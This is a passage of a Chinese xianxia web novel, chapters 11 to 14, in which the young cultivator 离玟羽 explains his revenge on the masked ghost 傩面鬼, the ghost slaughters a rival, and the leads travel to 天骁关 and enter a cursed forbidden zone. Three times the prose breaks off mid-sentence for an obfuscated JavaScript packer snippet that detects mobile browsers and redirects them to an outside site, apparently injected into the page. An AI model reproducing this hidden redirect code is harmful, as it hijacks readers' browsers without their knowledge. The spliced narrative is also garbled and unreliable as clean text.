离玟羽哽住了,他挪开捂着眼睛的手,看了一眼躺在躺椅上不省人事的烟姝,眼角的泪还在落,半晌,他说:“因为这次傩面鬼已经一路杀了很多人了,可下一次大清洗在六年后,他就算再着急精进修为也根本没有必要这么着急忙慌地杀人,甚至连事后的案发现场都收拾不好,以至于我都能发现他的踪迹。” 鬼蜮的恶鬼生来不被天道所容,修炼邪道就是逆天而行,因此恶鬼们每四十四年会迎来一次屠杀,主要就是强制恶鬼自相残杀,每一次持续时间在两个月到一年不等,能活下来的鬼修少之又少,也因为这个,每四十四一次的大屠杀也被称作是大清洗。 “我承认,我确实是想展示自己的实力,确实是想报仇雪恨,但是我更想知道他到底为什么这么做。” 离玟羽抬起头,没干的眼泪混着血水流下来,整个人狼狈至极,他抹了一把脸,充满豪情壮志地说:“我爹常说‘不管过得再不像一个人,也绝不可以做对不起自己的事情’,但我觉得我更不能做对不起天下人的事情,我既然知道了,那我就必须去做。” “而且,”离玟羽的目光再次落在烟姝身上,他愧疚地说,“她们死了,我也活不了的。” 裴惊澜忽然插嘴:“那个咒——” “那是空舟门的禁咒,是连心咒。” 离玟羽打了一个哭嗝,有些不好意思道:“我以前不学无术,专门去找禁书看,这个咒会把施咒人和施咒对象的命脉捆在一起,连心咒可以在关键时刻护住一方心脉,以假死之样蒙骗对手,但只要一方死亡,另一方也会爆体而亡。但如果施咒对象身受重伤却没有死亡,那么他今后的运势就会落在施咒人身上。” “以前有人拿连心咒做过一些坏事,当时的掌门就把这个咒封存了起来,列为禁咒,不让我们看。” 离玟羽突然感觉身上多了两道死亡视线,顿时慌忙摆手:“我知道怎么解,当时走的时候已经解了。” “我想起来这个咒还是因为小姝姐姐那天说要跟我同生共死,此后再也不分开……” 离玟羽的声音越来越小,本来已经停住的眼泪又开始流了起来。 “我真的从来没想过她会受伤啊——” 他从来没有想过真的要让小姝姐姐的性命受到威胁,只要计划没出差错,他的小姝姐姐甚至都不用面临被鬼上身的情况。 楚秋辞嫌弃地看了眼离玟羽,不太想和他说话,转而跟裴惊澜对视了一眼,裴惊澜登时心领神会。 “别哭。”裴惊澜在离玟羽身边坐下,问:“五十年前,你多少岁?” “十三。” 离玟羽抽了抽鼻子,努力憋住眼泪,他不明白怎么突然问起了这个问题。 “当时傩面鬼上门,你不在现场?” “不在。” 离玟羽说着说着又想哭了,但他偷偷看了两眼似乎特别嫌弃他的楚秋辞,死死把眼泪憋住了。 “之后是谁教的你这一身修为?” “我爹的朋友,我叫他尘叔。” “这次之前你没有出来历练过?” “尘叔不让,这次是我自己偷偷溜出来的。” “所以说你从来没跟傩面鬼正面对上,不知道傩面鬼的真正实力?” 离玟羽懵懂地摇头。 “有本事,有骨气,有志气。” 没等裴惊澜继续问下去,楚秋辞抢先连说三个词,对着离玟羽鼓起掌来。 裴惊澜有些牙疼地问楚秋辞:“我多年未曾远行,对外头的事一知半解,这傩面鬼是什么时候出现的?” 楚秋辞深深地看了他一眼,答:“二百八十九年那次的大清洗之后,他最开始是杀了鬼蜮里的一只历经五次清洗的老鬼,据说那只鬼死得挺惨,傩面鬼的名号才被一些人知道。” 裴惊澜没注意到这个眼神,他若有所思地点了点头,继续对离玟羽说:“既是经过了两次大清洗的成鬼,你一点准备都没有就直接奔着他来报仇了?” “也不算完全没有准备,”离玟羽眨了眨眼,没底气地反驳,“我知道他的弱点。” “他的身体不行,通常不以真面目示人,这个是众所周知的,”离玟羽卖了个关子,觑见另外两人面色有些不对,才小心翼翼地往后说,“但其实他早就不是活人了,他的魂魄是残缺的,这次他借别人的身体肯定难以忍受旁人肩膀和头上的三昧火,所以被他操控的身体也一定不是完全受他控制的。” 鬼蜮中恶鬼众多,但其实都是走了邪路的修士,说其是恶鬼也只是因为他们以害人为修炼,常出行于暗夜,慢慢才有了这么个叫人害怕的名头。既是修士,那便是活人,况且死人连储存灵力的身体都没有,又如何能修炼的呢。 然而楚秋辞听了这句话,倏地转头,并未否认这句话的真实性,反而问:“你是从何而知的?” “我……”离玟羽没了声音,“我听旁人说的。” “哪个‘旁人’能知道这样一只恶鬼最忌讳最隐蔽的秘密,还专程告诉你这么一个不知死活要跟人拼命的漏斗?”楚秋辞眯着眼逼问他,“到底是谁?” 离玟羽却怎么也不肯说,翻来倒去就一句“我不知道”,这会倒像是个一问三不知的锯嘴葫芦了。 楚秋辞问了两遍也没得到一个答案,他一扬手把桌上冷透的茶一口倒进肚子,平白惹来裴惊澜担忧的视线,顿时更是气愤,觉得这个祸害就是打见第一面起跟他合不来,他愤恨起身,一拍桌子就往外走,边走边说:“随便你说不说,惹得什么麻烦自己去处理了。还有那个躺着的那个,伤了就抱去给郎中看,别放我屋子里,到时候死了惹我一身晦气。” 话还没落,人已经走出了屋子。 呆愣着的离玟羽对他的话却状若未闻,目光怔怔地落在桌上,那里赫然有一颗白色丹药,药草的气息很浓烈,是清经丹,专门用于洗经伐髓,祛除经脉中的脏东西。 烟姝被鬼上身,经脉中有遗留的鬼修法力,也就是俗称的鬼气。凡人要是长久被鬼气侵扰,轻则痴傻,重则神魂被侵蚀消散,成为一具没有魂魄的行尸走肉,但是要化解鬼气也很简单,用清经丹是最好不过的。 烟姝迟迟未醒,一方面是因为失血过多,另一方面就是因为被鬼气困住了魂,让其原本的魂魄没办法归位。 裴惊澜跟着起身,走前留下了几瓶常见的金疮药:“记得带她去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971488|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看大夫,东城那边的张大夫挺擅长治内伤的,但是这手臂……” 裴惊澜摇了摇头:“这个普通大夫估计也没办法,治好肯定是不大可能,但是她必须熬过去,不然性命堪忧。” 该说的该做的他们都已经做了,剩下的就只能看她自己,裴惊澜说完这句便提步往门外走去,可刚走出就听身后一声闷响。 离玟羽本就有伤的膝盖再次溢出鲜血,他朝着裴惊澜的方向一拜,郑重地说:“谢谢两位前辈,无论今后如何,今日的恩情我没齿难忘。” 裴惊澜没回头,步子停了一下,说:“不用谢我,要谢就谢小楚,如果他不在我也不会出手。” “还有,你的伤也得治,小心久病难医。” “红楼背靠修仙界,每栋楼的底层都藏着这样一尊神像,听说每尊神像中都留着一道神力,所以……”离玟羽把刚才没说完的话说了,未明之言中藏着一个胆大包天的计划——他是要借神力来驱鬼。 裴惊澜并没有太大的反应,他抬步向前走,道:“多谢。” 正月十五,上元佳节,是祭祖拜仙的好日子。 哪怕此时已经夜半三更,严格来说已经不算是上元节了,但裴惊澜走到院子里时还是看见远处有人在烧纸钱,跪在地上虔诚地祭拜。 月明星稀,头顶几只寒鸦飞过。 裴惊澜问:“伤还没好全吧,怎么站这儿吹风?” 楚秋辞靠在树上,遥遥望着天空,脸上依稀带着些笑意:“今天家家户户都团圆,也是个赏月的好日子。” 裴惊澜应了一声,走到他身边,跟着他的视线往天空看去,不由在心里感叹:这时代的月亮比现世圆上不少。 “裴兄,”楚秋辞偏头看他,“那个傩面鬼跑了怎么办?” 裴惊澜没说话,手攥成拳,半只隐在袖子里,就这么伸到他身前。 楚秋辞看看他又看看他的手,没问什么,摊开掌心。 果然,一把刀被放在了他手心,是裴惊澜被傩面鬼控制时拿走的那把楚秋辞的刀,也是钉住傩面鬼的那柄,然而原本让楚秋辞再熟悉不过的刀身此刻却有了些不同,尽管看起来还是那样,但就是让人觉得现在的它更漂亮,更有精气神了,也更亮了。 “那个赌约,算你赢了。”裴惊澜笑着问,“想要什么?” 楚秋辞的注意力都被那把刀吸引了过去,他拿起刀细细看起来,随口说:“不知道。” “嗯?” “还没想好,”楚秋辞看着裴惊澜的眼睛说,“等我想好再说吧。” “好。”裴惊澜毫不犹豫地应下。 随后,他又看着那刀上刻着的“入雪”二字,说:“抱歉,我擅自给这刀留了个追踪咒,他会带你去找傩面鬼的。” “你的伤……”裴惊澜顿了一下,还是没有问出口,接着说,“你准备什么时候去?” “你在赶我走吗?”楚秋辞站直身子,将刀收入怀中,没了表情。 “我只是问一下,倒是也免得临时知道,来不及给你备行李。” 顺便,他也好早点给自己准备一下行李,去开始他的“新生活”。 “可是裴兄,”楚秋辞说,“我要你跟我一起走。” 裴惊澜愣住了:“为什么?” “因为一不看住你,你就想跑呀,哥哥。” 楚秋辞一句一顿道:“就比如现在。” 12. 苦瓜 “什么?” 裴惊澜有些疑惑地偏头,风声太大,他没听清楚秋辞说的话。 “没什么,”楚秋辞还是没有再逼裴惊澜,他收回獠牙,重新端出一副乖弟弟的模样,可怜巴巴地说,“只是我伤还没好全,可能一个人去会有些不方便。” 裴惊澜犯起难来,他这辈子确实不想再搅进这趟浑水了,可他又实在放心不下楚秋辞。 楚秋辞适时地开口:“我受伤其实只是因为修炼时出了岔子,没什么大问题的。” “裴兄要是实在走不开也没关系的,我一个人也可以。” “我陪你去。”裴惊澜说。 楚秋辞落寞的眉毛顿时扬了起来:“真的吗?” “真的。”裴惊澜无奈笑道,这人当真是一点都没长大,什么心思都放在明面上。 “好呀,那裴兄你这边还有没有什么没有处理完的事情?” “你的伤到底是怎么回事?” 两人同时发问,双双一愣。 楚秋辞脸上的雀跃藏也藏不住,他摆了摆手,率先回答:“没什么的,只是修炼的时候没注意,被反噬了而已。” “真的没事?”裴惊澜有些狐疑,这说好听些就是反噬,直白点说就是走火入魔,那天楚秋辞可是直接没撑住晕倒在一个陌生人家门口了,要是不是他刚好穿回来了——裴惊澜没敢往下想。 楚秋辞坚定地点了点头,裴惊澜才说:“那行,等过几日事情处理得差不多再走,还得等傩面鬼再次出现。” “夜里冷,别冻着了。”裴惊澜往旁边站了站,给楚秋辞挡住风,他低下头,给他仔细系好了狐裘,滚烫的呼吸落在楚秋辞颈边。楚秋辞抬眼望着他,同时,来自裴惊澜身上的气息完全地包裹住了他,带着他熟悉的强势。 楚秋辞弯了弯眼睛,说:“好。” 既然你想要一个不会越界的弟弟,那我可以当你的弟弟;既然你不想直面现实,那好,我陪你演下去。 鬼蜮,疝城。 有人发现最近城里不怎么太平,尽管平日里城主傩面鬼就不怎么出来见人,但最近他似乎格外放纵底下的小鬼,以至于屡屡有刺头出来挑事。 对此,城里的鬼修众说纷纭,却不约而同地盯准城主府,一旦确认他们有任何可以抓住的机会,他们就会蜂拥而上,将其分而食之。 而今夜,城里出了一桩大事。 寂静许久的城主府外今日格外热闹,一个身高两尺的秃头鬼修提着大刀往大门一站,高声喝道:“城主大人何在?” 回应他的是站在门口的女仆僵子:“城主大人不见人,还请回吧。” “是不想见人,还是见不了人呢?”鬼修朗声问,手中长刀往地上重重一搁,“我有急事,今日非得亲眼见到城主大人不可。” 僵子还是毕恭毕敬地答:“城主大人不见人,客人请回吧。” 鬼蜮里头各自为政,没有人间那弯弯绕绕的一套,就是最简单的实力为上,就算是城主也只是一个名头而已,没有鬼是真的会完全毫无异心地跟随自己的主上,更别说有什么一定要城主处理的要紧事了。 何况这鬼修是城里最跋扈的主,平时谁见了他都避着走,稍有个不长眼的冲撞了他就得当心自己晚上会不会变成他的下酒菜了,他用的还是做人时的名字,叫弘彪,人如其名,是个擅用长刀爱吃肉喝酒的彪悍壮士。 听说当年他刚来疝城的时候就跟还不是城主的城主杠上了,自此就结下了梁子。 弘彪长刀一挥,刹那出现在那说什么都只重复一句话的僵子身前,他一贯不爱惜自己的刀,用坏一把换一把,现下抵着僵子咽喉的刀刃处正好还有一个豁口,那个豁口有些粗粝,却仍然在僵子脖子上留下一道口。 他压低嗓门问:“你家城主究竟在哪?为何这几日都没见到人?” “抱歉客人,城主大人不见客,还请回吧。” 炼成的僵子几乎就是约等于主人的意识体,一般行动和常人无异,并且由于炼制成本高,所以很多鬼修不会让僵子去做一些诸如看门洒扫之类奴仆就可以做的小事,不过这个疝城的城主大人却是个例外,据说他不喜活人近身,府内上下所有仆从都是僵子,也意味着整个府邸都在他的掌控之下,在城主府里发生的任何事情都在他眼皮子底下。 但现在弘彪如此挑衅,那位傩面鬼大人居然能沉住气装不知道,弘彪骤然大笑起来,看来最近那个传闻的确是真的了,不止疝城,四大城估计都要变天了,也不知那位稳坐高台的鬼主大人还能不能撑到下一个大清洗年呢。 既然确认了传闻是真的,那他暂时还没有必要硬闯城主府,反正以后时间还多。 弘彪这么想着,笑眯眯地将刀往肩上一扛:“不好意思啊小美人,以后再来找你聊聊天,今天城主大人既然不在,那我改日再来找他。” 说着,他步子一迈就要走,却听一道死气沉沉的声音缓缓说:“慢着。” 弘彪背后顿时激起一层冷汗。 “正所谓有朋自远方来,怎能不见上一见,更何况,你说你还有急事?” 猩红的血气卷到弘彪身前,他下意识抬刀一抗,血气顿时散开,从中走出个浑身黑黢黢的矮小男人,他从头到脚都裹着一层黑布,没人能看清他的脸,他的声音喑哑低沉,听起来非常不舒服。 男人藏在黑布后的眼睛艰难地转动了一下,目光扫到弘彪手中的长刀,他轻飘飘地开口:“这刀,真是不错。” 下一瞬,弘彪如同一块破布般飞了出去。 鬼蜮本就是极阴之地,常年被黑雾笼罩着,没有阳光,没有月亮,甚至连烛火都少之又少。 那个漆黑的男人完美地和黑夜融为了一体。 枯瘦如柴的手从黑布中伸出,傩面鬼霎时移动到弘彪身前,弯下腰死死掐住了弘彪的脖子,自言自语般说了句:“别得意太久了,下次你们见到我的时候,我可就不会只用出三层功力了。” “还有你,”傩面鬼偏头躲开弘彪挣扎着砍向他的一刀,语气平静无澜,“我记得我说过,不要随便来城主府闹事,怎么,听说最近四城城主功力有损,着急取而代之?” 弘彪面色发白,他能感觉到脖颈间的手越来越紧,可他被压制得很死,压根没办法反抗。 “没有,城主……大人……” 他涨红了脸也只能吐出这几个字,还要解释,忽然感觉肚子里有什么东西在动,似乎有东西流了出来。 弘彪费力地低下头,看见了那只钻破了他的肚子,正在啃食他肠肉的小鬼——是傩面鬼的傀儡。 “其实传言不假,不过——” 傩面鬼直起身子,把轻而易举地两尺壮汉甩了出去,他抬起头望向什么都看不清的“天空”,与此同时,他袖中飞出了更多小鬼,它们惊叫着,贪婪地扑向新鲜的食物。 “比起失去的修为,他们答应的条件可要好上太多了。” “真的吗?!” 离玟羽一扫脸上的阴霾,高兴得快要跳起来。 “小姝姐姐真的没事了?” 裴惊澜被这傻小子一喊惊得皱了皱眉,但仍然答道:“高热退下,体内的鬼气也已经差不多祛除干净了,只要后续照料仔细些,不再复发,那应该快醒了。” “好!”离玟羽坚定地一拍手,“我一定会好好照顾小姝姐姐的!” 说着,他眼尖地看见外头正路过的楚秋辞,兴冲冲地趴在窗户上,喊了声:“师父!小姝姐姐就要醒啦!” 楚秋辞皱眉:“说了多少次,别喊我师父。” “还有,裴兄不是说了吗,还得你照料妥当,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971489|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给人又整的复发了才会醒。” 自从两日前离玟羽确认红楼遇袭事件中所有被傩面鬼夺舍的受害者都醒来之后,包括那个被傩面鬼救下后就死心塌地跟着他为他杀人的女人也被安葬好了,朱荇也在伤好后果断离开栖山城,并宣称自己再也不会来这里之后,离玟羽自觉把后续事情处理妥当,开始整日赖在裴惊澜院子里不走,除了去找治疗烟姝需要的草药外便是没皮没脸地缠在楚秋辞身后喊师父,楚秋辞走到哪跟到哪,很是烦人。 城中居民不少人都说上元节那天神仙显灵了,那天夜里好多人听见一声巨响,而后地面猛烈地震动了一下,可不是来年要丰收的好兆头!至于突然暂停接客说是要好好修缮一下的红楼,大家都说是因为出了当堂杀人那档子事,所以上头要他们好好整改一下,总之没人将这两件事联系到一起,或许有,不过那都成说书先生口里的闲谈了。 裴惊澜对于楚秋辞被人缠着喊师父这件事没什么表示,他自认为没身份没立场去管,再加上这小子本性不坏,还能偶尔做出些傻事惹得楚秋辞笑笑,裴惊澜就任由他去了,除非是楚秋辞实在被烦到来找他求助,他才会出面阻止一下离玟羽的行为。 但是对离玟羽来说,这个温温和和说话也从不说脏字的裴前辈才是更让他不敢随便去招惹的存在——毕竟他现在也不知道,让他试探多次仍然得出“修为甚低”结论的裴惊澜,究竟是为什么和楚秋辞关系如此亲密的,而那天又究竟是怎么单凭蛮力阻止他的。 他虽说对上那些老前辈们确实还是个愣头青,但是在他这一代也能说得上是数一数二的天才了。 离玟羽想不出来原因,但是身体本能告诉他不能去轻易招惹这样的存在。 就比如现在,楚秋辞这两天似乎是身体不太舒服,终日懒洋洋的,裴惊澜见他又没披厚衣裳就出来乱逛,提醒道:“小楚,这天可不适合穿单衣。” 离玟羽敏锐地察觉到气氛不对,脚底抹油立刻溜了。 果不其然,他还没走远,就听楚秋辞说:“那天回来之后我就告诉你我的名字了,楚朝楚秋辞你随便叫哪个,咱还不知道谁大谁小呢,叫个‘小’字就有些滑稽了吧。” 离玟羽默默地摇头,暗自替准师父捏了把汗。 裴惊澜当下没说什么,顺从地改了口,然后当天晚上餐桌上出现了全苦瓜宴。 清炒苦瓜,苦瓜炖排骨,苦瓜烧牛肉,苦瓜炒腊肉……甚至是苦瓜焖饭。 裴惊澜端上来的时候还笑着说:“苦瓜清热,有些人可能是有些肝火异常旺盛。” 离玟羽目瞪口呆地夹起一筷子菜送入口中,顿时皱着脸吐了出来,塞了口饭,草草嚼了两下便咽了下去。他苦着脸偏头,看见楚秋辞一脸平静地吃了口苦瓜,而后若无其事地咽了下去。 “裴野,我真觉得你有点小肚鸡肠。” 裴惊澜慢条斯理地给自己盛了碗汤,说:“你也不遑多让。” 离玟羽看看这个又看看那个,饭桌上似乎就只有自己吃出了苦味,顿时疑心是自己味觉出了问题,他鼓足勇气又夹起一块牛肉,还是苦的! 离玟羽彻底放弃,他打量着这一桌菜,思考待会溜出去加个宵夜,恰在这时,一碗简单的面条被推到他身前,没有苦瓜。 “我看你对他挺好,要不你收他为徒吧。”楚秋辞的声音响起。 裴惊澜收回手,淡淡地反击:“再怎么小肚鸡肠也不便伤及无辜。” 楚秋辞还要再说,脸色却突然一变。 他取出入雪,只见其通体发着红光,不停震动,似乎很是焦躁。 裴惊澜果断飞出一道灵力没入刀身,入雪霎时更加猛烈地转动起来,片刻后,它朝着一个方向停了下来,半空中出现了三个字——天骁关。 时隔半个月,傩面鬼终于又出现了。 13. 禁地 崎州天骁关,地处西南,坐落于崎州与天麓州的交接处,地势险要,多迷雾多毒虫,然而却是战乱年间的兵家必争之地。 天晓关一向人烟稀少,大街上都没什么人,能见到青壮年的地方只有驻守在这里的军队,也因为这里地处险要,所以对来往车队和行人的检查都很严苛。 检查的官兵拦下为首的公子,语气不怎么良善地说:“这位公子,还请把幂篱撩起来。” “这位大人,我家公子刚染了风寒,戴这幂篱就是怕会传染。”旁边一个年轻人立刻解释,言语中很是为难。 官兵满是不耐烦:“别废话。” 那头戴幂篱的公子没有争辩,抬手正要掀,与他同行的男人便略带安抚地轻拍了一下他的手,同时还将怀里的什么东西递给了检查的兵官。 楚秋辞隔着层层纱布,没能看清楚裴惊澜给了他什么,但是他也大概能猜出来是什么。 果然,那兵官接了东西,拿起来颠了颠,往地上啐了口唾沫,挥挥手对旁边其他人说:“三个穷阔绰的,放了吧。” 裴惊澜向兵官道了声谢,声音隔着纱布,朦朦胧胧的,楚秋辞漫无边际地猜测他没听清的那几个字说的是什么。 然而还没等他猜出个这么名堂,一只手已经牵上了他的衣袖,体贴之余又显得格外有分寸,楚秋辞任由着手的主人耐心地带着他往前走。 他其实看得见,修行之人早就可以跳出五感来感知世界了,裴惊澜当然也知道,但是谁也没提。 进了城,离玟羽叽叽喳喳兴奋得像是第一次出来见世面,他左逛逛右看看,对什么东西都新奇得很,没一会儿就没了人影。 裴惊澜往身边看了一眼,被层层叠叠的幂篱挡住了视线,颇有些无奈地问:“为什么一定要戴这个?” “认识的仇人太多。不过,”楚秋辞撩起一角纱布,露出半张笑脸,“你要是觉着这东西碍眼,我也可以不戴。” 裴惊澜被这笑容晃了眼,他替楚秋辞把幂篱重新弄好,说:“没事,戴着吧。” 天骁关是个历史悠久的古城,据说早在启明纪就已经存在了。 城中的房屋灰扑扑的,被风霜侵蚀的痕迹很是明显,城墙上飘扬的旗子不再鲜艳,缺了个角,也不知是被什么小动物衔回去当被窝了。 城不大,周围都是高山和树林,街上更是很少能看到行人,出了城往北走不到三十里就能到天麓州了。 天麓州,楚秋辞在心里把这三个字嚼了嚼,生出股没由来的近乡情怯,也是好多好多年没有回去了——他的故乡,也是他和裴惊澜命运交织的起点。 “早些年我来过这边,那时候还要热闹不少。”楚秋辞没头没尾地说。 裴惊澜闻言,瞥了他一眼,估摸着他们想到的是不是同一次。 楚秋辞继续说:“那年是逃命,也不知是哪处仇家追上门来,我跟着我兄长侥幸逃脱,途经这天骁关。那时候街上车水马龙,往来行人摩肩接踵。早市也热闹得很,我还记得这边产的枇杷糕甜糯松软,后来让人来寻却再没寻到过。” “能叫你记这么久,想来也是人间罕见的美味了。”裴惊澜笑着将楚秋辞往旁边引,避开了飞驰而过的一队持刀人马,“要是你还记得是何处买的,我找人问问,看看能不能求得个配方。” 他没有追问为什么被人追杀,也没有好奇楚秋辞第二次提起的兄长,只是避重就轻地说要给他做枇杷糕,分寸把握得刚刚好,似乎随时准备着和楚秋辞分道扬镳。 楚秋辞笑笑没接话,转而提起:“这地方属实是有些荒凉了,近几年此处可有什么大型战乱?” “没有,师父。”离玟羽逛完一圈回来了,手上捏着把不知从哪儿来的折扇。 他说:“近几年虞国很低调,周边国家也都在休养生息,这地方至少最近二十年都没有爆发过战乱了。” 二十年,已经足够这里歇口气,繁衍出新的生机了。 “你不是说你第一次下山吗,怎么对这些这么了解?”楚秋辞随口问。 离玟羽笑嘻嘻地答:“尘叔会给我说这些,他说我要报仇就必须知道天下各处发生的事情,以便于日后随机应变。” 楚秋辞听着这话,总觉得分外熟悉,他也不多想,劈手将离玟羽手中的扇子夺了过来,装模作样地摇了摇,道:“既是没遭祸乱,怎得街上人人闭门不出,军队行色匆匆,城里风声鹤唳?” 城外检查太严,而进了城又这么久都没见到一个行人,若仔细着些看街边的屋子,门窗上都钉着崭新木块,就像在防备什么来袭——这并不像多年没有战乱的城市应该有的氛围。 “裴兄,”折扇合上,在裴惊澜肩头轻拍两下,裴惊澜将视线投向纱幔后方的人影身上,一边任由自己的神思飞远,一边听他说,“我见这地方很是不对劲,方才那队人直奔城外去,身上带刀,着装统一,看起来不像是寻常车队,他们走的官道,一路畅行无阻,倒像是朝廷的人,但偏偏身无盔甲,还配有障眼的符咒,身上隐隐有灵气流出,更像修士。” “你是说钦天门?”裴惊澜稍微一想就明白了楚秋辞要说的。 钦天门,唯一听命于朝廷的修士组织,但里头大多是些修为低下,仅能在凡人里头鹤立鸡群的修士,他们通常也只行于凡间,和正统修士沾不上边。 “钦天门?”离玟羽到处张望,想见见传说中凡人见一面都得三拜九叩的神秘修士们,然而那些人早已走远,连个屁影都瞧不见。 “那群人不是贯来眼高于顶得很吗,来这穷乡僻壤做什么?” 楚秋辞出其不意地顿了脚步,离玟羽一个没注意险些直接撞上去。 裴惊澜虽然瞧不见楚秋辞的脸,却敏锐地从这突然的停顿中猜到楚秋辞接下来要使坏了,他跟着停下脚步。 “去看看?”楚秋辞问。 恰逢一阵风卷过,带起面纱,把幂篱下那双狡黠的笑眼影影绰绰地展现给了裴惊澜,叫他呼吸一滞。 裴惊澜听见自己用静如止水的声音说:“走。” 然后就在离玟羽摸着鼻尖还没回过神时,就见两位前辈默契转身,飞速向他身后掠去。 离玟羽:…… 不是,什么?走哪儿去?怎么没人跟他说一声啊?! 城中忽然狂风大起,枯黄的树叶随着风起风落。 离玟羽见状不对,也顾不上追问什么,紧紧跟在楚秋辞身后。 连他都能察觉到这城中气氛不对,他师父肯定也能感觉到,他紧张地抿了抿唇,见楚秋辞偏过头,似乎是要叮嘱些什么,他连忙竖着耳朵仔细听。 却听面纱之下的人道:“裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971490|193462||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 野,你灵力能跟得上吗?” 离玟羽险些被绊一跟头。 “短时间内自是够的。”裴惊澜说。 他直到现在也没能摸清楚自己的修为是怎么个增长方式,从他穿回来之后一直增速缓慢,比他自己重新修炼一遍还要慢,除了半月前曾突然猛涨过一截,其他时候都是乌龟般的速度。因着答应了楚秋辞陪他一起,他近来也在思考着把重新修炼的事提上日程。 话音刚落,裴惊澜的手腕突然被拽住,见飞驰之中的楚秋辞回头道:“得罪啦,裴兄。” 这一次楚秋辞没有用那个看起来就没什么大用的追踪术,而是真真切切的千里速驰术。 风声呼啸着从耳边穿过,裴惊澜眼中只剩下了一个人,手腕上的温热一路穿过骨血直达心脏,他舔舔唇,有些想问楚秋辞这些年到底过得好不好,这人虽然看起来和从前没什么两样,但他不经意间露出的冷漠却不像他了。 然而几人并未追上钦天门的人。 钦天门的人径直从城门出去,他们却没能出得了城门。 古旧的城门掉了漆,高砌的城墙被风雨侵蚀出了密密麻麻的孔洞,上头有暗淡的旗帜飞扬。 可更引人注意的是由城墙四周开始蔓延的黑雾,它开始吞噬肉眼可见的区域,宛如一个漆黑的口,看不清那之后是些什么。 城门上巡守的士兵对此熟视无睹,嘴里嘀咕了一句:“大祭将至,怎么还有不要命的来找死。”他冷眼瞧着下头三人被雾障吞没,才提着刀转身离去。 迷雾之后是什么? 那是天骁关这几十年来的禁地,没有活人能够从那里出来。 一阵天旋地转之后,楚秋辞终于感觉自己落到了实地上,他拧着眉,还有些站不稳,他尝试地迈出一步,手臂便被人拉住了。 “不用这么仔细我。”楚秋辞收回脚笑道,随手把幂篱摘了,才看清这周围遍布顶天的树,少有光能透进来。 而在楚秋辞原本要踩到的那块地方,盘踞着一条足有三寸长的蜈蚣。 “这里是……什么地方?” 离玟羽搓着手臂站起身,跟一只巴掌大的毒蜘蛛对上了眼,顿时激起一身的鸡皮疙瘩。 裴惊澜站在逆光处的石块上,遥遥向斜前方看去,他不紧不慢地答:“或许是,村落?” 顺着他的目光看过去,不远处是丘陵,和此处不同的是,那边寸草不生,零星坐落着几间老旧却有人气的屋子,俨然是一片有人居住的小村落。 “能走吗?”裴惊澜垂眸问,手却没有收回。 楚秋辞点点头,借着他的力站上了他旁边的石块,手中的幂篱被收入芥子。 “我上次来这里时曾偶然听说过这里的一个古老传说。”楚秋辞目光沉沉地看着夕阳下静谧的村庄。 “据说在几百年前,天骁关曾经有过一次天怒人怨的大战,虞国初代君主就是凭借此战声名远扬,站稳了脚跟。但是那场仗死了数百万人,战后十几年都还能听见这里有人痛彻心扉地哭喊,偶尔有人路过还会遇见一些断胳膊断腿的战士问路。” 楚秋辞的声音格外平静,就好像是真的在说一个不知真假的传说。 “后来这里寸草不生,冤魂遍地,人们夜夜不得安眠,便求了天上的神仙,把此地封印了起来,成了禁地。” 14. 天神 百年前的光景如何,今人无从谈起,不过现在看来,或许那个传说的确是真的。 可再真的话到了楚秋辞口中也像是玩笑。 “只道是那日天色阴沉,风声不止,古战场周围呜咽声四起,阴沉浓厚的雾从西边席卷而来,空气沉闷得让人呼不上气。还留在这儿的百姓大多是些孤寡老人,见此情形,骇得当即下跪,颤颤巍巍地求求冤魂厉鬼们放他们一马。” “忽然,却见一道金光闪过,浓雾被瞬间驱散,登时天光大亮。” 楚秋辞煞有介事地说着,为了应景还施了个法术,他往天边一指,一道灵气若流星一样划过,而后烟火般炸开:“那天边竟然款款走下一个眉目俊朗满身华发的世外仙人,众人当即俯身跪拜,皆道真神下凡。” “后来有见过此景的人说,那位不远万里前来救民于水火的神仙乃是当今仙界魁首,那位传说中的白帝神君。” “师父,神君真的会特意下凡来管这么一两件小事吗?” 离玟羽是个好听众,他不仅津津有味地听楚秋辞讲故事,还能顺着故事提出自己的疑惑和思考。 楚秋辞说到兴头上了,他撑着裴惊澜的手往下一跳,优哉游哉地往前走,毫无良心地忽悠小孩:“那可说不准,神君的信徒遍布七州,要是自己没精力管,说不准也会派一两个分/身下来处理吧。” “神君法力无边,想来这点本事还是有的。” 裴惊澜对楚秋辞说的话不置可否,只专心致志地清除路上的毒虫,还要负责在楚秋辞一个不小心就要踩到各种虫子的时候拉他一把。 “楚朝,”裴惊澜突然出声,自从那天楚秋辞让他别叫他小楚之后他就一直直呼其姓名,“回头。” 